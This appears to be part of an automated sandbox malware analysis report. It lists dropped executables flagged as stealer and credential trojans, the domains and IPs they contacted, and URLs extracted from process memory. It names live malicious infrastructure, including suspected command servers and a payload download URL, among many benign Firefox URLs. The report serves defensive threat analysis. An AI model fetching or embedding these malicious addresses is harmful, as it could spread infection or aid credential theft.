C:\Users\user\AppData\Local\Temp\Q5PCC4NA5LRKC8PQDTEQRA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002600001\test.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\test[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002599001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	41%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\test[1].exe	45%	ReversingLabs	Win32.Trojan.MintZard
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	46%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	41%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	46%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1002599001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\1002600001\test.exe	45%	ReversingLabs	Win32.Trojan.MintZard

Source	Detection	Scanner	Label
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://identity.mozilla.com/ids/ecosystem_telemetryU	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://app.adjust.com/167k4ih?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1170143	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://identity.mozilla.com/apps/relay	0%	URL Reputation	safe
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	0%	URL Reputation	safe
https://watch.sling.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
ipv4only.arpa	192.0.0.170	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
push.services.mozilla.com	34.107.243.93	true	false	unknown
necklacedmny.store	188.114.96.3	true	true	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	216.58.212.174	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
presticitpo.store	unknown	unknown	true	unknown
thumbystriw.store	unknown	unknown	true	unknown
firefox.settings.services.mozilla.com	unknown	unknown	false	unknown
shavar.services.mozilla.com	unknown	unknown	false	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true		unknown
opposezmny.site	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://identity.mozilla.com/ids/ecosystem_telemetryEncountered	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1678942	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/schemaVersion	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/quickSuggestScenariohttp://mozilla.org/#/properties/merinoClientVari	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apitat	100bc97ff1.exe, 00000015.00000002.2534637202.0000000001346000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.o	firefox.exe, 00000024.00000002.2544675991.0000015073B00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/pocketShowLessFrequentlyCaphttp://mozilla.org/#/properties/quickSugg	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/disableGreaseOnFallback	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store:443/apinecklacedmny.storenecklacedmny.store	100bc97ff1.exe, 00000013.00000003.2300912245.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2309734224.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2301246829.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/originsDaysCutOff	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000024.00000002.2913857704.000001DF1BC12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2957011320.000001DF207C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2949252169.000001DF1FF47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2959294479.000001DF20A93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF20912000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://identity.mozilla.com/ids/ecosystem_telemetryU	firefox.exe, 00000024.00000002.2956116951.000001DF206A7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/en-US/firefox/collections/4757633/25c2b44583534b3fa8fea977c419cd/?page=1&	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/richSuggestionsFeatureGate	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2405966297.000001DF1EB7F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/userFacingName	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 00000024.00000002.2926560740.000001DF1C894000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/disableGreaseOnFallbackWEBEXT_BACKGROUND_PAGE_LOAD_MS_BY_ADDONID	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/cbhStudyRow	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000024.00000003.2405355809.000001DF1EB40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabledhttp://mozilla.org/#/pr	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/referenceBranch	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	firefox.exe, 00000024.00000002.2945767195.000001DF1FDD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2967410154.000001DF2151C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/extraParams	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0http://mozilla.org/#/properties/appId	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes/items	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://app.adjust.com/167k4ih?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht	firefox.exe, 00000024.00000002.2953297308.000001DF20284000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apisQ-1	file.exe, 00000000.00000003.1358131343.000000000112E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1358160028.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php3W	76bf5a4dba.exe, 00000014.00000002.2351036059.000000000101A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/3j	76bf5a4dba.exe, 00000014.00000002.2351036059.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/csvImport	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1315402793.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257274069.0000000005747000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257442357.0000000005744000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2403239780.0000000005C08000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2402973895.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/enabled	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/firefox/addon/to-google-translate/	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2953297308.000001DF20284000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000024.00000002.2968441322.000001DF216F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/dnsMaxAnyPriorityThreadshttp://mozilla.org/#/properties/ehPreconnect	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mo	firefox.exe, 00000024.00000002.2953297308.000001DF20284000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2935278544.000001DF1EDA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2953297308.000001DF2024D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2962029495.000001DF20C79000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2959294479.000001DF20A93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2954748532.000001DF205C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF20912000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000003.1510608776.0000000001133000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1510713355.000000000111F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1510777473.0000000001136000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2531603198.0000000000AFA000.00000004.00000010.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2502216813.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2503189441.0000000000E05000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2539286979.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000E05000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2502216813.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/endDate	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThresholdhttp://mozilla.org/#/propert	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/Extensions	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	76bf5a4dba.exe, 00000014.00000003.2307921520.0000000004D7B000.00000004.00001000.00020000.00000000.sdmp, 76bf5a4dba.exe, 00000014.00000002.2348423588.000000000034C000.00000040.00000001.01000000.0000000F.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1170143	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1341423655.000000000582D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283971165.000000000573D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2442693222.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1341423655.000000000582D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283971165.000000000573D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2442693222.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	100bc97ff1.exe, 00000015.00000003.2456315969.0000000005D17000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://identity.mozilla.com/apps/relay	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2949252169.000001DF1FFC3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apiws	100bc97ff1.exe, 00000013.00000003.2251676644.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshotshandleTopSitesOrganicImpressionStatshandleDiscoverySt	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 00000024.00000002.2971880123.000001DF222A3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000024.00000002.2971880123.000001DF22267000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.co.uk/	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://gpuweb.github.io/gpuweb/devtools-compatibility-panel	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com/	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2924896477.000001DF1C617000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2405966297.000001DF1EB7F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://accounts.firefox.com_fetchPaged/fetchNextPage/	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 00000024.00000002.2911908216.000001DF1B024000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000003.1342792101.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2300912245.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2329858713.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2309734224.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2301246829.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2503189441.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2357249097.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2325565887.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2473488619.00000000013AC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.com/recommendationsDisplays	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://accounts.firefox.com/Webchannel	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThresholdbrowser.newtabpage.activity-	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2939059003.000001DF1F2E0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2939059003.000001DF1F2E0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://watch.sling.com/	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/	file.exe, 00000000.00000003.1340877623.000000000572E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340970674.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2357604902.0000000000D86000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2357249097.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2306562309.0000000000DF8000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2308035075.0000000000E04000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2325565887.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283284801.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2285683190.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2300912245.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2309734224.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2300426734.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2325695916.0000000000D86000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2306687655.0000000000E02000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2306628908.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2502216813.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2534728994.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2329858713.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2329931380.0000000000D86000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2300881497.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/This	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
